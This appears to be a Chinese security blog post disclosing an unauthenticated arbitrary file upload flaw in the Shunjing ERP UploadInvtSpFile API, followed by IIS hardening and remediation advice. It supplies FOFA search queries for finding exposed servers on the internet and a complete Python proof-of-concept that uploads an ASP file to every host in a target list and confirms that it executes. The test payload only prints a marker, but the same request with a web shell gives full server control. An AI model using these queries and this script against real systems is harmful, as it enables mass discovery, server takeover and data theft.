顺景 ERP UploadInvtSpFile 接口任意文件上传漏洞

顺景 ERP UploadInvtSpFile 接口任意文件上传漏洞

一、产品框架介绍

(一)产品定位

顺景 ERP 是面向制造业及中小企业的企业资源计划管理系统,主要解决企业供应链管理、生产流程管控、财务数据集成等核心业务场景。其核心架构基于ASP.NET框架,采用前后端混合模式,服务端部署于 Windows IIS 服务器,支持企业内部局域网及公网访问。

(二)技术栈架构

    • 前端层:基于ASP.NET Web Forms 开发,部分模块采用 jQuery 实现动态交互

    • 服务层:使用 C# 语言开发,集成ASP.NET Web API 构建接口服务,运行于 IIS 7.0 + 服务器

    • 数据层:默认采用 SQL Server 数据库存储业务数据

    • 基础设施:典型部署环境为 Windows Server + IIS + SQL Server,支持本地服务器或云主机部署

(三)典型应用场景

    1. 供应链管理:物料采购、库存管理、销售订单处理

    1. 生产流程管理:工单创建、工艺路线配置、生产进度跟踪

    1. 财务集成:应收应付账款管理、成本核算、报表生成

二、fofa 语句

(一)资产发现语法

body="/api/DBRecord/getDBRecords"

图片[1]-顺景 ERP UploadInvtSpFile 接口任意文件上传漏洞

图片[2]-顺景 ERP UploadInvtSpFile 接口任意文件上传漏洞

image

image

(二)扩展查询

header="X-Powered-By: ASP.NET" && body="UploadInvtSpFile" && server="Microsoft-IIS"

说明:通过技术栈指纹(ASP.NET+ IIS)进一步缩小范围

三、漏洞介绍

(一)基础信息

漏洞属性具体信息
漏洞名称顺景 ERP UploadInvtSpFile 接口任意文件上传漏洞
漏洞编号未公开(待 CVE/CNVD 收录)
发现时间2025-05-13
影响版本全版本(尤其是未启用文件校验的部署)
漏洞类型文件上传漏洞
CVSS 评分8.8(高危)

(二)漏洞原理

该漏洞源于/api/cgInvtSp/UploadInvtSpFile接口未对上传文件的扩展名、内容类型及用户权限进行校验。攻击者可构造包含恶意代码(如 ASP 脚本)的 multipart/form-data 请求,绕过身份验证直接上传可执行文件至服务器。由于服务端使用 IIS 解析 ASP 文件,攻击者上传后可通过访问文件路径执行任意代码,最终获取服务器权限或窃取数据。

四、漏洞复现

(一)环境准备

    • 目标系统:顺景 ERP 任意版本(部署于 IIS 10.0 环境)

    • 攻击工具:Burp Suite、Python 漏洞扫描脚本

    • 辅助资源

    • POC 参考:本文提供的 Python 脚本及 HTTP 请求示例

    • 测试文件:test.asp(内容为<% Response.Write(“VulnDetected”) %>)

(二)Python 漏洞扫描脚本

import requests
import uuid
from urllib.parse import urljoin

def scan_vulnerability(target_url, proxy):
    # 构造文件上传数据
    boundary = f"---------------------------{uuid.uuid4().hex}"
    filename = "test.asp"
    file_content = b"<% Response.Write(\"VulnDetected\") %>"
    
    headers = {
        "Content-Type": f"multipart/form-data; boundary={boundary}",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36"
    }
    
    payload = [
        f"--{boundary}",
        f'Content-Disposition: form-data; name="filedata"; filename="{filename}"',
        "Content-Type: image/png",
        "",
        file_content.decode(),
        f"--{boundary}--",
        ""
    ]
    payload = "\r\n".join(payload).encode()
    
    try:
        # 发送上传请求(带代理)
        response = requests.post(
            urljoin(target_url, "/api/cgInvtSp/UploadInvtSpFile"),
            data=payload,
            headers=headers,
            timeout=15,
            allow_redirects=False,
            proxies=proxy  # 添加代理配置
        )
        
        # 解析响应获取文件路径
        if response.status_code == 200:
            try:
                result = response.json()
                if "filename" in result and "filepath" in result:
                    file_path = result["filepath"]
                    # 拼接完整访问URL(处理转义字符)
                    access_url = urljoin(target_url, file_path.replace("\\", "/"))
                    # 验证文件访问(带代理)
                    verify_response = requests.get(
                        access_url,
                        timeout=15,
                        proxies=proxy  # 添加代理配置
                    )
                    if "VulnDetected" in verify_response.text:
                        print(f"[+] 目标存在漏洞,可访问路径:{access_url}")
                        return True
                    else:
                        print(f"[-] 文件存在但未返回特征值,可能环境差异")
                        return False
                else:
                    print(f"[-] 响应格式异常,非预期返回:{response.text[:100]}")
                    return False
            except ValueError:
                print(f"[-] 响应非JSON格式:{response.text[:100]}")
                return False
        else:
            print(f"[-] 上传请求失败,状态码:{response.status_code}")
            return False
    except requests.exceptions.RequestException as e:
        print(f"[-] 请求异常:{str(e)}")
        return False

def main():
    proxy = {
        "http": "http://127.0.0.1:8080",
        "https": "http://127.0.0.1:8080"
    }  # 统一代理配置,用于分析请求和响应是否正常
    
    try:
        with open("targets.txt", "r", encoding="utf-8") as f:
            targets = [line.strip() for line in f.readlines() if line.strip()]
    except FileNotFoundError:
        print("[-] 未找到targets.txt文件,请确保文件存在并包含目标URL")
        return
    
    for target in targets:
        print(f"\n[*] 开始扫描目标:{target}")
        result = scan_vulnerability(target, proxy)
        if result:
            print("[!] 目标存在任意文件上传漏洞,建议立即修复!")
        else:
            print("[*] 目标未检测到漏洞或环境存在差异")

if __name__ == "__main__":
    main()

(三)复现步骤

    1. 脚本运行

python scan_shunjing_erp.py
    1. 核心逻辑解析

    • 构造包含.asp后缀的测试文件,内容包含特征字符串VulnDetected

    • 通过 POST 请求上传文件至目标接口,解析响应获取文件存储路径

    • 访问存储路径,验证是否返回特征字符串,确认漏洞存在性

image

(四)注意事项

    1. 路径拼接问题

    • 部分部署可能存在虚拟目录(如/erp/),需手动调整urljoin逻辑

    1. IIS 配置差异

    • 若目标禁用 ASP 脚本执行,漏洞利用会失败,但扫描脚本仍能检测文件是否可上传

    1. 安全合规

    • 请在合法授权环境下使用脚本,避免未经允许的网络扫描

五、修复建议

(一)官方补丁方案

    1. 紧急措施:联系顺景软件官方技术支持,获取针对UploadInvtSpFile接口的安全补丁,升级至修复了文件校验和权限控制的版本。

    1. 补丁验证:升级后使用扫描脚本验证漏洞是否修复,确保上传功能仅允许合法文件类型。

(二)临时修复措施

1. IIS 请求过滤配置

在 IIS 站点配置中添加文件类型禁止规则(适用于 Windows Server 环境):

<system.webServer>    <security>      <requestFiltering>        <fileExtensions>          <!-- 禁止ASP/ASPX等危险文件类型 -->          <add fileExtension=".asp" allowed="false" />          <add fileExtension=".aspx" allowed="false" />          <add fileExtension=".ashx" allowed="false" />        </fileExtensions>      </requestFiltering>    </security>  </system.webServer>  

2. 接口权限增强

修改 Web.config,对漏洞接口添加身份验证强制约束:

<location path="api/cgInvtSp/UploadInvtSpFile">    <system.web>      <authorization>        <deny users="?" /> <!-- 拒绝未认证用户访问 -->      </authorization>    </system.web>  </location>  

(三)安全配置优化

    1. 文件上传校验

    • 在服务端代码中添加文件扩展名白名单校验(如仅允许.xls/.xlsx等业务必需类型)

    • 校验文件 MIME 类型与扩展名一致性,避免Content-Type头欺骗

    1. 最小权限原则

    • 将上传目录(如InvtSpFiles)的 NTFS 权限设置为仅IIS_IUSRS用户具有读取权限,禁止执行权限

    1. WAF 规则部署

    • 配置 Web 应用防火墙规则,拦截包含filename=”*.asp”或路径穿越字符(../)的请求

    1. 日志审计

    • 开启 IIS 详细日志记录,重点监控/api/cgInvtSp/UploadInvtSpFile接口的访问记录,记录字段包括:

    • 客户端 IP、请求时间、上传文件名、响应状态码

(四)最佳实践

    1. 定期安全检测

    • 使用 Nessus、AWVS 等专业工具进行漏洞扫描,每周至少执行一次资产暴露面检测

    • 通过 fofa 定期扫描公网资产,确保无未授权暴露的UploadInvtSpFile接口

    1. 开发安全管控

    • 在代码审计中加入文件上传模块专项检查,禁止使用动态拼接路径的方式处理上传文件

    • 对开发团队进行 OWASP Top 10 安全培训,重点讲解文件上传漏洞的危害及防御措施

    1. 应急响应准备

    • 建立漏洞应急响应流程,当检测到异常文件上传时,立即隔离服务器并排查已上传文件

声明:本文档仅用于技术研究与漏洞分析,严禁将相关内容用于非法攻击或入侵行为。企业应遵循网络安全法规,在修复漏洞前确保获得合法授权。顺景 ERP UploadInvtSpFile 接口任意文件上传漏洞分析

------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

THE END
少侠喜欢就支持一下吧
点赞8 分享
评论 抢沙发
头像
欢迎少侠留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容